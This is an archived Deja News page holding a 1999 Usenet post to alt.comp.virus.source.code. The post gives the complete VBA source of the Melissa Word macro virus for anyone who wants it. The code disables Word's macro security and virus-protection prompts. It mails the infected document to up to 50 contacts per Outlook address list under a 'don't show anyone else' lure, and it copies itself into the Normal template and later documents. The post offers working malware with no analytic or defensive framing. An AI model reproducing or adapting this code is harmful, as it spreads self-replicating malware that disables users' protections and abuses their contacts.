home *** CD-ROM | disk | FTP | other *** search
/ Amiga Plus 2000 #4 / Amiga Plus CD - 2000 - No. 4.iso / a+tools / browser / Voyager / threadmsg_if.xp?thitnum=1&mhit < prev    next >
Text File  |  2000-05-27  |  16KB  |  477 lines
  1. <html>
  2. <head>
  3. <title>Deja News - Melissa source code for all you who wanted it</title>
  4. <meta name=keywords content="dejanews usenet newsgroup articles search query discussion">
  5.  
  6. <!-- <base href="http://www.dejanews.com/[ST_rn=if]"> -->
  7. </head>
  8.  
  9. <body bgcolor=#ffffff text=#000000 link=#0000ff vlink=#52188c alink=#cc0000>
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42. <IMG SRC="http://g.dejanews.com/gifs/nav_g6b.gif" alt="Deja News Toolbar" WIDTH=600 HEIGHT=35 BORDER=0 usemap="#nav_g.map" border=0><br>
  43.  
  44. <map name="nav_g.map">
  45.     <area shape="rect" coords="0,0,83,30" href="http://www.dejanews.com/[ST_rn=if]/" alt="Home">
  46.     <area shape="rect" coords="90,0,241,30" href="http://www.dejanews.com/[ST_rn=if]/communities/home_comm.shtml" alt="Communities">
  47.     <area shape="rect" coords="240,0,379,30" href="http://www.dejanews.com/[ST_rn=if]/mydn.xp" alt="My Deja News">
  48.     <area shape="rect" coords="378,0,516,30" href="http://www.dejanews.com/[ST_rn=if]/home_ps.shtml" alt="Power Search">
  49.     <area shape="rect" coords="515,0,600,30" href="http://www.dejanews.com/[ST_rn=if]/post.xp?NG=alt.comp.virus.source.code" alt="Post">
  50.     <area shape="default" nohref alt="">
  51. </map>
  52.  
  53.  
  54.  
  55.  
  56. <p>
  57. <table border=0 cellpadding=0 cellspacing=0 width=600><tr><td align=center>
  58. <table border=0 cellpadding=0 cellspacing=0 width=470>
  59. <tr><td align=center><table cellspacing=0 cellpadding=0 width=470 border=0><tr><td>
  60. <A HREF="/jump/http://gp5.dejanews.com/gtc?id=22539&tm=923424160.692054&site=dn&location=alt.comp.virus.source.code&cr=comp.%7c%7c%7c%7c%7c%7c%7c%7c">
  61. <IMG ALIGN=MIDDLE HEIGHT=60 WIDTH=468 SRC="http://web2.dejanews.com/ads/14/3459951514-3156.gif" ALT="Search over 20,000 high-tech jobs" border=1></A></td></tr><tr align=center><td><font size=-1><A HREF="/jump/http://gp5.dejanews.com/gtc?id=22539&tm=923424160.692054&site=dn&location=alt.comp.virus.source.code&cr=comp.%7c%7c%7c%7c%7c%7c%7c%7c">
  62. Click here for over 20,000 high-tech jobs</a></font></td></tr>
  63. </table></td>
  64. </tr></table></td>
  65. </tr></table>
  66.  
  67.  
  68.  
  69. </td>
  70.  
  71.  
  72.  
  73.  
  74. <font size=0><p></font>
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107. <img src="http://g.dejanews.com/gifs/tab_mt.gif" alt="message/thread" width=600 height=25 usemap="#tab_mf.map" border=0>
  108.  
  109. <MAP NAME="tab_mf.map">
  110. <AREA SHAPE="RECT" COORDS="132,0,251,25" HREF="http://x9.dejanews.com/[ST_rn=if]/viewthread.xp?thitnum=1&mhitnum=0&AN=461646034.1&CONTEXT=923424127.514261130&frpage=threadmsg_if.xp&back=alt.comp.virus.source.code" ALT="Thread">
  111. </MAP>
  112.  
  113. <table width=600 border=0 cellpadding=0 cellspacing=0>
  114. <tr valign=top><td><font face="arial,helvetica"><font color=#ff6600><b>Message 1 of 3 </b></font>
  115. <font size=3>in this thread</font>
  116. <br><font face="arial,helvetica" color=#cc0000 size=4><b>   » </b></font><font size=2><a href="http://x9.dejanews.com/[ST_rn=if]/topics_if.xp?search=next&offset=0&CONTEXT=923424127.514261130"><b>Return</b></a> to <b><font color=#ff6600>alt.comp.virus.source.code</font></b></font></font></td>
  117. <td align=right><font face="arial,helvetica" size=-1><a href="http://www.dejanews.com/[ST_rn=if]/help/help_art.shtml">help</a></font></td></tr>
  118. <tr valign=top>
  119. <td><font size=0> <br></font>
  120. <font face="arial,helvetica" color="#cc0000"><b>Melissa source code for all you who wanted it</b></font><font size=4> </font>
  121. <br>
  122. <table cellpadding=0 cellspacing=0 border=0>
  123. <tr height=10%>
  124. <td width=50><font face="arial,helvetica" size=2><b>Author:</b></font></td>
  125. <td width=20> </td>
  126. <td width=360><font size=2><b>EMK</b> <<A HREF="http://www.dejanews.com/[ST_rn=if]/jump/mailto:thatfatkat@hotmail.com">thatfatkat@hotmail.com</a>></font></td>
  127. </tr>
  128. <tr height=10%>
  129. <td nowrap><font face="arial,helvetica" size=2><b>Date:</b></font></td>
  130. <td width=20> </td>
  131. <td><font size=2>1999/04/01</font></td>
  132. </tr>
  133. <tr height=10%>
  134.  
  135.  
  136. <td nowrap><font face="arial,helvetica" size=2><b>Forum:</b></font></td>
  137. <td width=20> </td>
  138. <td><font size=2>alt.comp.virus.source.code </font>
  139. </td>
  140. </tr>
  141.  
  142. </table></td>
  143.  
  144. <td align=right></td>
  145. </tr></table>
  146.  
  147. <table width=600 border=0 cellpadding=0 cellspacing=0>
  148. <tr valign=middle><td>
  149. <table cellpadding=2 cellspacing=3 border=0><tr>
  150. <td><font face="arial,helvetica" size=2 color="#ff6600"><a href="http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=0&CONTEXT=923424127.514261130&AH=1">more headers</a>
  151. </td>
  152. <td><font face="arial,helvetica" size=2>
  153. <A HREF="http://www.dejanews.com/[ST_rn=if]/profile.xp?author=%22EMK%22%20%3cthatfatkat@hotmail.com%3e&ST=PS">author posting history</A>
  154. </font></td>
  155. <td><font face="arial,helvetica" size=2></font></td></tr>
  156. </table></font></td>
  157.  
  158. <td align=right>
  159. <a href="http://www.dejanews.com/[ST_rn=if]/post.xp?NG=alt.comp.virus.source.code&SUB=Re:%20Melissa%20source%20code%20for%20all%20you%20who%20wanted%20it&REF=%3c7e0bse$186$1@autumn.news.rcn.net%3e&AN=461646034.1"><img src="http://g.dejanews.com/gifs/postart2.gif" border=0 width=85 height=25 alt="post reply"></a>
  160. <img src="http://g.dejanews.com/gifs/prevart2_x.gif" border=0 width=55 height=25 alt="">
  161. <a href="http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=1&CONTEXT=923424127.514261130"><img src="http://g.dejanews.com/gifs/nextart2.gif" border=0 width=55 height=25 alt="next"></a></td>
  162. </tr></table>
  163.  
  164. <hr width=600 align=left>
  165.  
  166.  
  167.  
  168. <pre>Private Sub Document_Open()
  169. On Error Resume Next
  170. If System.PrivateProfileString("",
  171. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <>
  172. "" Then
  173.   CommandBars("Macro").Controls("Security...").Enabled = False
  174.   System.PrivateProfileString("",
  175. "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") =
  176. 1&
  177. Else
  178.   CommandBars("Tools").Controls("Macro").Enabled = False
  179.   Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
  180. Options.SaveNormalPrompt = (1 - 1)
  181. End If
  182.  
  183. Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  184. Set UngaDasOutlook = CreateObject("Outlook.Application")
  185. Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  186. If System.PrivateProfileString("",
  187. "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
  188. Kwyjibo" Then
  189.   If UngaDasOutlook = "Outlook" Then
  190.     DasMapiName.Logon "profile", "password"
  191.     For y = 1 To DasMapiName.AddressLists.Count
  192.         Set AddyBook = DasMapiName.AddressLists(y)
  193.         x = 1
  194.         Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  195.         For oo = 1 To AddyBook.AddressEntries.Count
  196.             Peep = AddyBook.AddressEntries(x)
  197.             BreakUmOffASlice.Recipients.Add Peep
  198.             x = x + 1
  199.             If x > 50 Then oo = AddyBook.AddressEntries.Count
  200.          Next oo
  201.          BreakUmOffASlice.Subject = "Important Message From " &
  202. Application.UserName
  203.          BreakUmOffASlice.Body = "Here is that document you asked for ...
  204. don't show anyone else ;-)"
  205.          BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
  206.          BreakUmOffASlice.Send
  207.          Peep = ""
  208.     Next y
  209.     DasMapiName.Logoff
  210.   End If
  211.   System.PrivateProfileString("",
  212. "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
  213. Kwyjibo"
  214. End If
  215.  
  216.  
  217. Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  218. Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  219. NTCL = NTI1.CodeModule.CountOfLines
  220. ADCL = ADI1.CodeModule.CountOfLines
  221. BGN = 2
  222. If ADI1.Name <> "Melissa" Then
  223.   If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  224.   Set ToInfect = ADI1
  225.   ADI1.Name = "Melissa"
  226.   DoAD = True
  227. End If
  228.  
  229. If NTI1.Name <> "Melissa" Then
  230.   If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  231.   Set ToInfect = NTI1
  232.   NTI1.Name = "Melissa"
  233.   DoNT = True
  234. End If
  235.  
  236. If DoNT <> True And DoAD <> True Then GoTo CYA
  237.  
  238. If DoNT = True Then
  239.   Do While ADI1.CodeModule.Lines(1, 1) = ""
  240.     ADI1.CodeModule.DeleteLines 1
  241.   Loop
  242.   ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  243.   Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
  244.     ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
  245.     BGN = BGN + 1
  246.   Loop
  247. End If
  248.  
  249. If DoAD = True Then
  250.   Do While NTI1.CodeModule.Lines(1, 1) = ""
  251.     NTI1.CodeModule.DeleteLines 1
  252.   Loop
  253.   ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  254.   Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
  255.     ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
  256.     BGN = BGN + 1
  257.   Loop
  258. End If
  259.  
  260. CYA:
  261.  
  262. If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
  263. False) Then
  264.   ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  265. ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  266.   ActiveDocument.Saved = True
  267. End If
  268.  
  269. 'WORD/Melissa written by Kwyjibo
  270. 'Works in both Word 2000 and Word 97
  271. 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
  272. 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
  273.  
  274. If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
  275. triple-word-score, plus fifty points for using all my letters.  Game's over.
  276. I'm outta here."
  277. End Sub
  278. </pre>
  279.  
  280.  
  281.  
  282. <hr width=600 align=left>
  283.  
  284.  
  285.  
  286.  
  287. <table cellpadding=5 cellspacing=0 width=600 border=0>
  288. <tr valign=top><td><font face="arial,helvetica" size=2>
  289. <A HREF="http://www.dejanews.com/[ST_rn=if]/threadmsg_if.xp?AN=461646034.1">view for bookmarking</A><br>
  290.  
  291.  
  292. <A HREF="http://www.dejanews.com/[ST_rn=if]/threadmsg_if.xp?AN=461646034&fmt=raw">text only</A>
  293. </font></td>
  294. <td><font face="arial,helvetica" size=2>
  295. <A HREF="http://www.dejanews.com/[ST_rn=if]/maf_enter.xp?SUB=Melissa%20source%20code%20for%20all%20you%20who%20wanted%20it&AN=461646034.1&continue=http://x9.dejanews.com/%5bST_rn%3dif%5d/threadmsg_if.xp%3fthitnum%3d1%26mhitnum%3d0%26CONTEXT%3d923424127.514261130">mail this message to a friend</A><br><font size=2>Sponsored by <b>Fatbrain.com {<font color=#ff6600>*</font>}</b>
  296. </font></td>
  297.  
  298. <td nowrap align=right>
  299.  
  300. <font face="arial,helvetica" size=2><b>
  301. <a href="http://www.dejanews.com/[ST_rn=if]/post.xp?NG=alt.comp.virus.source.code&SUB=Re:%20Melissa%20source%20code%20for%20all%20you%20who%20wanted%20it&REF=%3c7e0bse$186$1@autumn.news.rcn.net%3e&AN=461646034.1">post reply</a>
  302.    
  303. <font color="#999999"><b><<</b> prev</font> ·
  304. <a href="http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=1&CONTEXT=923424127.514261130">next</a> 
  305. <b><font color="#ff6600">>></font></b>
  306. </b></font></td></tr>
  307.  
  308. <tr valign=top>
  309. <td colspan=4><font face="arial,helvetica" size=2>
  310. <a href="http://www.dejanews.com/[ST_rn=if]/rg_subng.xp?group=alt.comp.virus.source.code">subscribe</a> or <a href="http://x9.dejanews.com/[ST_rn=if]/topics_if.xp?search=next&offset=0&CONTEXT=923424127.514261130">return</a> to <b><font color=#ff6600>alt.comp.virus.source.code</font></b>
  311.  
  312. </font></td></tr>
  313.  
  314. </table>
  315.  
  316. <p>
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324. <table width=600 border=0 cellpadding=0 cellspacing=0>
  325. <tr><td bgcolor=#003399 height=3 colspan=2><spacer type=block height=3 width=0></td></tr>
  326. <tr valign=top><td><b><font face="arial,helvetica">Thread: <font color=#cc0000>Melissa source code for all you who wanted it</font></font></b></td>
  327. <td align=right><font face="arial,helvetica" size=-1><a href="http://www.dejanews.com/[ST_rn=if]/help/help_viewthread.shtml">help</a></font></td></tr>
  328. </table>
  329.  
  330.  
  331.  
  332.  
  333. <br>
  334.  
  335.  
  336.  
  337.  
  338. <table cellspacing=0 cellpadding=0 border=0>
  339.  
  340.     
  341.     
  342.     <tr><td width=1 valign=bottom align=center>
  343.         
  344.              
  345.         
  346.     </td>
  347.     <td><font size=-1 valign=bottom>
  348.     
  349.     
  350.     
  351.     
  352.         <a href=http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=0&CONTEXT=923424127.514261130>msg 1</a>  EMK    1 Apr 1999
  353.     
  354.     </font>
  355.     </td></tr>
  356.  
  357.     
  358.     
  359.     <tr><td width=1 valign=bottom align=center>
  360.         
  361.              
  362.         
  363.     </td>
  364.     <td><font size=-1 valign=bottom>
  365.     
  366.     
  367.     ---
  368.     
  369.         <a href=http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=1&CONTEXT=923424127.514261130>msg 2</a>  Tom    2 Apr 1999<font face="arial,helvetica" size=-2>  (reply to msg 1)</font>
  370.     
  371.     </font>
  372.     </td></tr>
  373.  
  374.     
  375.     
  376.     <tr><td width=1 valign=bottom align=center>
  377.         
  378.              
  379.         
  380.     </td>
  381.     <td><font size=-1 valign=bottom>
  382.     
  383.     
  384.     ------
  385.     
  386.         <a href=http://x9.dejanews.com/[ST_rn=if]/threadmsg_if.xp?thitnum=1&mhitnum=2&CONTEXT=923424127.514261130>msg 3</a>  Mauri Kinnunen    5 Apr 1999<font face="arial,helvetica" size=-2>  (reply to msg 2)</font>
  387.     
  388.     </font>
  389.     </td></tr>
  390.  
  391. </table>
  392.  
  393. <hr width=600 align=left>
  394.  
  395.  
  396.  
  397.  
  398. <table border=0 cellpadding=0 cellspacing=0 width=600>
  399. <tr><td align=center>
  400. <table border=0 cellpadding=0 cellspacing=0 width=470>
  401. <tr><td align=center>
  402. </td>
  403. </tr></table></td>
  404. </tr></table>
  405.  
  406.  
  407.  
  408.  
  409.  
  410. <p>
  411. <table border=1 cellpadding=2 width=600 cellspacing=0 bordercolor=#000000 bgcolor="#eeeeee">
  412. <tr align=center>
  413. <td nowrap valign=middle><font face="arial,helvetica" size=2>
  414.  
  415. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.autoconnect.sitewide&cid=096134240">AutoConnect</a> · 
  416. <a href="http://gp.dejanews.com/gtplacer?site=dn&location=textlink.uswest.sitewide&cid=096134240">Yellow Pages</a> · 
  417. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.qwest.sitewide&cid=096134240">9¢ Long Distance</a>
  418. <br>
  419. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.freeshop.sitewide&cid=096134240">Free Stuff</a>  · 
  420. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.datek.sitewide&cid=096134240">Trade with Datek</a>  · 
  421. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.necx.sitewide&cid=096134240">GET IT NOW @ NECX</a>
  422. <br>
  423. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.zdnet.sitewide&cid=096134240">FREE downloads!</a> · 
  424. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.bfl.sitewide&cid=096134240"><<Shopping>></a> · 
  425. <a href="/jump/http://gp.dejanews.com/gtplacer?site=dn&location=textlink.ebay.sitewide&cid=096134240">Auctions & Classifieds</a>
  426. </td></tr>
  427. </table>
  428.  
  429.  
  430.  
  431. <table border=0 cellspacing=0 cellpadding=0 width=600>
  432. <tr><td height=5><font size=1> </font></td></tr>
  433. <tr><td bgcolor=#003399 height=2><spacer type=block width=1 height=2></td>
  434. </tr></table>
  435.  
  436. <table border=0 cellpadding=3 cellspacing=0 width=600>
  437. <tr>
  438. <td bgcolor=#99ccff valign=top align=center nowrap><font face="arial,helvetica" size=2>
  439. <a href="http://www.dejanews.com/[ST_rn=if]/">Home</a>  · 
  440. <a href="http://www.dejanews.com/[ST_rn=if]/communities/home_comm.shtml">Communities</a>  · 
  441. <a href="http://www.dejanews.com/[ST_rn=if]/mydn.xp">My Deja News</a>  · 
  442. <a href="http://www.dejanews.com/[ST_rn=if]/home_ps.shtml">Power Search</a>  · 
  443. <a href="http://www.dejanews.com/[ST_rn=if]/post.xp?NG=alt.comp.virus.source.code">Post</a>
  444. </font></td></tr></table>
  445.  
  446.  
  447.  
  448. <table border=0 cellspacing=0 cellpadding=0 width=600>
  449. <tr><td bgcolor=#003399 height=2><spacer type=block width=1 height=2></td>
  450. </tr></table>
  451.  
  452. <font size=0><p></font>
  453.  
  454. <table border=0 cellspacing=0 cellpadding=0 width=600>
  455. <tr valign=top>
  456. <td align=center>
  457. <font size=0><p></font>
  458. <small>
  459. <a href="http://www.dejanews.com/[ST_rn=if]/corp/">About Deja News</a>  · 
  460. <a href="http://www.dejanews.com/[ST_rn=if]/corp/adv/">Ad Info</a>  · 
  461. <a href="http://www.dejanews.com/[ST_rn=if]/corp/adv/ad_index.shtml">Our Advertisers</a>
  462. </small>
  463. <font size=0><p></font>
  464.  
  465. <hr width=75%>
  466. <font size=-1>Copyright © 1995-99 <a href="http://www.dejanews.com/[ST_rn=if]/corp/">Deja News, Inc.</a> All rights reserved.</font>
  467. <br>
  468. <font size=1><a href="http://www.dejanews.com/[ST_rn=if]/info/policy.shtml">Conditions of use</a>  ·  <a href="http://www.dejanews.com/[ST_rn=if]/info/privacy.shtml">Site privacy statement</a> reviewed by <a href="http://www.truste.org/">TRUSTe</a></font>
  469.  
  470. </td></tr></table>
  471.  
  472.  
  473.  
  474. </body>
  475. </html>
  476.  
  477.